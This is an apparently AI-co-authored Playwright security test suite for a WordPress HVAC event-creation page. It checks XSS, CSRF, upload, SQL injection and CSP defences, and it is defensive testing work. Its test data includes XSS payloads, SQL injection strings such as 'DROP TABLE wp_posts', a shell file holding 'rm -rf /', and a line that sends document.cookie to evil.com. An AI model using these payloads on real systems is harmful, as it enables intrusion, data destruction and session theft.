- Add XSS protection with DOMPurify sanitization in rich text editor - Implement comprehensive file upload security validation - Enhance server-side content sanitization with wp_kses - Add comprehensive security test suite with 194+ test cases - Create security remediation plan documentation Security fixes address: - CRITICAL: XSS vulnerability in event description editor - HIGH: File upload security bypass for malicious files - HIGH: Enhanced CSRF protection verification - MEDIUM: Input validation and error handling improvements 🤖 Generated with [Claude Code](https://claude.ai/code) Co-Authored-By: Claude <noreply@anthropic.com>
301 lines
No EOL
12 KiB
JavaScript
301 lines
No EOL
12 KiB
JavaScript
const { test, expect } = require('@playwright/test');
|
|
const { HVACTestBase } = require('./page-objects/HVACTestBase');
|
|
|
|
/**
|
|
* Security Test Suite for HVAC Event Creation Page
|
|
*
|
|
* Tests critical security vulnerabilities identified in code review:
|
|
* 1. XSS prevention in rich text editor
|
|
* 2. CSRF protection in form submissions
|
|
* 3. File upload security validation
|
|
* 4. Input sanitization across all form fields
|
|
*/
|
|
test.describe('HVAC Event Creation - Security Tests', () => {
|
|
let hvacTest;
|
|
|
|
test.beforeEach(async ({ page }) => {
|
|
hvacTest = new HVACTestBase(page);
|
|
await hvacTest.loginAsTrainer();
|
|
await hvacTest.navigateToCreateEvent();
|
|
});
|
|
|
|
test.describe('XSS Prevention Tests', () => {
|
|
test('should sanitize malicious script tags in rich text editor', async ({ page }) => {
|
|
const maliciousContent = '<script>alert("XSS")</script><p>Test content</p>';
|
|
|
|
// Input malicious content into rich text editor
|
|
await page.click('#event-description-editor');
|
|
await page.keyboard.type(maliciousContent);
|
|
|
|
// Check that script tags are removed/escaped
|
|
const editorContent = await page.locator('#event-description-editor').innerHTML();
|
|
expect(editorContent).not.toContain('<script>');
|
|
expect(editorContent).not.toContain('alert("XSS")');
|
|
|
|
// Verify hidden textarea doesn't contain unescaped content
|
|
const textareaContent = await page.locator('#event_description').inputValue();
|
|
expect(textareaContent).not.toContain('<script>');
|
|
});
|
|
|
|
test('should prevent XSS in rich text editor commands', async ({ page }) => {
|
|
await page.click('#event-description-editor');
|
|
|
|
// Try to inject script through toolbar commands
|
|
await page.keyboard.type('Test content');
|
|
await page.selectText('#event-description-editor');
|
|
|
|
// Attempt to inject via bold command
|
|
await page.evaluate(() => {
|
|
document.execCommand('bold');
|
|
document.execCommand('insertHTML', false, '<script>alert("XSS")</script>');
|
|
});
|
|
|
|
const content = await page.locator('#event-description-editor').innerHTML();
|
|
expect(content).not.toContain('<script>');
|
|
});
|
|
|
|
test('should escape special characters in form inputs', async ({ page }) => {
|
|
const xssAttempts = [
|
|
'<img src="x" onerror="alert(1)">',
|
|
'javascript:alert(1)',
|
|
'"><script>alert(1)</script>',
|
|
'\'"onmouseover="alert(1)"'
|
|
];
|
|
|
|
for (const xssPayload of xssAttempts) {
|
|
await page.fill('#event_title', xssPayload);
|
|
|
|
// Verify value is properly escaped when retrieved
|
|
const titleValue = await page.locator('#event_title').inputValue();
|
|
expect(titleValue).toBe(xssPayload); // Should store as-is
|
|
|
|
// But when rendered in preview/output, should be escaped
|
|
if (await page.locator('.event-preview').isVisible()) {
|
|
const previewContent = await page.locator('.event-preview').innerHTML();
|
|
expect(previewContent).not.toContain('<script>');
|
|
expect(previewContent).not.toContain('onerror=');
|
|
}
|
|
}
|
|
});
|
|
});
|
|
|
|
test.describe('CSRF Protection Tests', () => {
|
|
test('should include valid nonce in form submissions', async ({ page }) => {
|
|
await page.fill('#event_title', 'Security Test Event');
|
|
await page.fill('#event_description', 'Test description');
|
|
|
|
// Check for nonce field presence
|
|
const nonceField = page.locator('input[name*="nonce"]');
|
|
await expect(nonceField).toBeVisible();
|
|
|
|
const nonceValue = await nonceField.inputValue();
|
|
expect(nonceValue).toHaveLength(10); // WordPress nonce length
|
|
});
|
|
|
|
test('should reject submissions without valid nonce', async ({ page }) => {
|
|
// Remove nonce field to simulate CSRF attack
|
|
await page.evaluate(() => {
|
|
const nonceField = document.querySelector('input[name*="nonce"]');
|
|
if (nonceField) nonceField.remove();
|
|
});
|
|
|
|
await page.fill('#event_title', 'CSRF Test Event');
|
|
await page.click('button[type="submit"]');
|
|
|
|
// Should show security error
|
|
await expect(page.locator('.error-message')).toContainText('Security check failed');
|
|
});
|
|
|
|
test('should validate nonce in AJAX modal submissions', async ({ page }) => {
|
|
// Open organizer creation modal
|
|
await page.click('[data-action="create-organizer"]');
|
|
await expect(page.locator('#organizer-modal')).toBeVisible();
|
|
|
|
// Fill modal form
|
|
await page.fill('#new-organizer-name', 'Test Organizer');
|
|
await page.fill('#new-organizer-email', 'test@example.com');
|
|
|
|
// Intercept AJAX request to verify nonce
|
|
let requestData = null;
|
|
page.on('request', request => {
|
|
if (request.url().includes('wp-admin/admin-ajax.php')) {
|
|
requestData = request.postData();
|
|
}
|
|
});
|
|
|
|
await page.click('#save-organizer');
|
|
|
|
// Verify nonce was included in request
|
|
expect(requestData).toContain('nonce=');
|
|
});
|
|
});
|
|
|
|
test.describe('File Upload Security Tests', () => {
|
|
test('should reject malicious file types', async ({ page }) => {
|
|
const maliciousFiles = [
|
|
{ name: 'script.php', content: '<?php echo "hack"; ?>' },
|
|
{ name: 'virus.exe', content: 'MZ\x90\x00' },
|
|
{ name: 'hack.js', content: 'alert("xss");' },
|
|
{ name: 'shell.sh', content: '#!/bin/bash\nrm -rf /' }
|
|
];
|
|
|
|
for (const file of maliciousFiles) {
|
|
// Create malicious file
|
|
const buffer = Buffer.from(file.content, 'utf8');
|
|
|
|
await page.setInputFiles('#featured-image-input', {
|
|
name: file.name,
|
|
mimeType: 'application/octet-stream',
|
|
buffer: buffer
|
|
});
|
|
|
|
// Should show error for disallowed file type
|
|
await expect(page.locator('.upload-error')).toContainText('Invalid file type');
|
|
|
|
// Verify file wasn't processed
|
|
const preview = page.locator('#image-preview img');
|
|
await expect(preview).not.toBeVisible();
|
|
}
|
|
});
|
|
|
|
test('should enforce file size limits', async ({ page }) => {
|
|
// Create oversized file (simulate 10MB file)
|
|
const largeContent = 'A'.repeat(10 * 1024 * 1024);
|
|
|
|
await page.setInputFiles('#featured-image-input', {
|
|
name: 'large-image.jpg',
|
|
mimeType: 'image/jpeg',
|
|
buffer: Buffer.from(largeContent)
|
|
});
|
|
|
|
await expect(page.locator('.upload-error')).toContainText('File size exceeds 5MB limit');
|
|
});
|
|
|
|
test('should validate image file headers', async ({ page }) => {
|
|
// Create file with wrong extension but correct MIME type
|
|
const fakeImage = 'GIF89a' + 'A'.repeat(100);
|
|
|
|
await page.setInputFiles('#featured-image-input', {
|
|
name: 'fake.jpg',
|
|
mimeType: 'image/jpeg',
|
|
buffer: Buffer.from(fakeImage)
|
|
});
|
|
|
|
// Should detect mismatch between extension and content
|
|
await expect(page.locator('.upload-error')).toContainText('File content does not match extension');
|
|
});
|
|
});
|
|
|
|
test.describe('Input Validation Security', () => {
|
|
test('should prevent SQL injection attempts in text fields', async ({ page }) => {
|
|
const sqlPayloads = [
|
|
"'; DROP TABLE wp_posts; --",
|
|
"' UNION SELECT * FROM wp_users --",
|
|
"admin'/**/OR/**/1=1#"
|
|
];
|
|
|
|
for (const payload of sqlPayloads) {
|
|
await page.fill('#event_title', payload);
|
|
await page.fill('#event_description', payload);
|
|
|
|
// Form should handle these safely without errors
|
|
await page.click('button[type="submit"]');
|
|
|
|
// No SQL error messages should appear
|
|
await expect(page.locator('body')).not.toContainText('SQL syntax error');
|
|
await expect(page.locator('body')).not.toContainText('mysql_');
|
|
}
|
|
});
|
|
|
|
test('should sanitize HTML in all text inputs', async ({ page }) => {
|
|
const htmlPayload = '<iframe src="javascript:alert(1)"></iframe>';
|
|
|
|
const textFields = [
|
|
'#event_title',
|
|
'#venue_name',
|
|
'#organizer_name',
|
|
'#ticket_name'
|
|
];
|
|
|
|
for (const field of textFields) {
|
|
if (await page.locator(field).isVisible()) {
|
|
await page.fill(field, htmlPayload);
|
|
|
|
// Verify dangerous HTML is escaped or removed
|
|
const value = await page.locator(field).inputValue();
|
|
expect(value).not.toContain('<iframe');
|
|
expect(value).not.toContain('javascript:');
|
|
}
|
|
}
|
|
});
|
|
|
|
test('should validate email inputs properly', async ({ page }) => {
|
|
const invalidEmails = [
|
|
'<script>alert(1)</script>@evil.com',
|
|
'test@<script>alert(1)</script>.com',
|
|
'javascript:alert(1)@evil.com',
|
|
'"<script>alert(1)</script>"@evil.com'
|
|
];
|
|
|
|
// Open organizer modal for email testing
|
|
await page.click('[data-action="create-organizer"]');
|
|
|
|
for (const email of invalidEmails) {
|
|
await page.fill('#new-organizer-email', email);
|
|
await page.click('#save-organizer');
|
|
|
|
// Should show validation error for malicious email
|
|
await expect(page.locator('.validation-error')).toContainText('Invalid email format');
|
|
}
|
|
});
|
|
});
|
|
|
|
test.describe('Content Security Policy Tests', () => {
|
|
test('should not execute inline scripts', async ({ page }) => {
|
|
// Monitor console for CSP violations
|
|
const cspViolations = [];
|
|
page.on('console', msg => {
|
|
if (msg.text().includes('Content Security Policy')) {
|
|
cspViolations.push(msg.text());
|
|
}
|
|
});
|
|
|
|
// Try to inject inline script via form
|
|
await page.fill('#event_title', 'Test Event');
|
|
await page.evaluate(() => {
|
|
// This should be blocked by CSP if properly configured
|
|
const script = document.createElement('script');
|
|
script.textContent = 'alert("CSP bypass attempt");';
|
|
document.body.appendChild(script);
|
|
});
|
|
|
|
// Wait for potential CSP violations
|
|
await page.waitForTimeout(1000);
|
|
|
|
// Should have CSP violations if properly configured
|
|
expect(cspViolations.length).toBeGreaterThan(0);
|
|
});
|
|
|
|
test('should prevent loading external resources', async ({ page }) => {
|
|
const networkRequests = [];
|
|
page.on('request', request => {
|
|
networkRequests.push(request.url());
|
|
});
|
|
|
|
// Try to load external resource
|
|
await page.evaluate(() => {
|
|
const img = document.createElement('img');
|
|
img.src = 'https://evil.com/steal-data.php?data=' + document.cookie;
|
|
document.body.appendChild(img);
|
|
});
|
|
|
|
await page.waitForTimeout(2000);
|
|
|
|
// Should not have loaded external malicious resources
|
|
const maliciousRequests = networkRequests.filter(url =>
|
|
url.includes('evil.com')
|
|
);
|
|
expect(maliciousRequests).toHaveLength(0);
|
|
});
|
|
});
|
|
}); |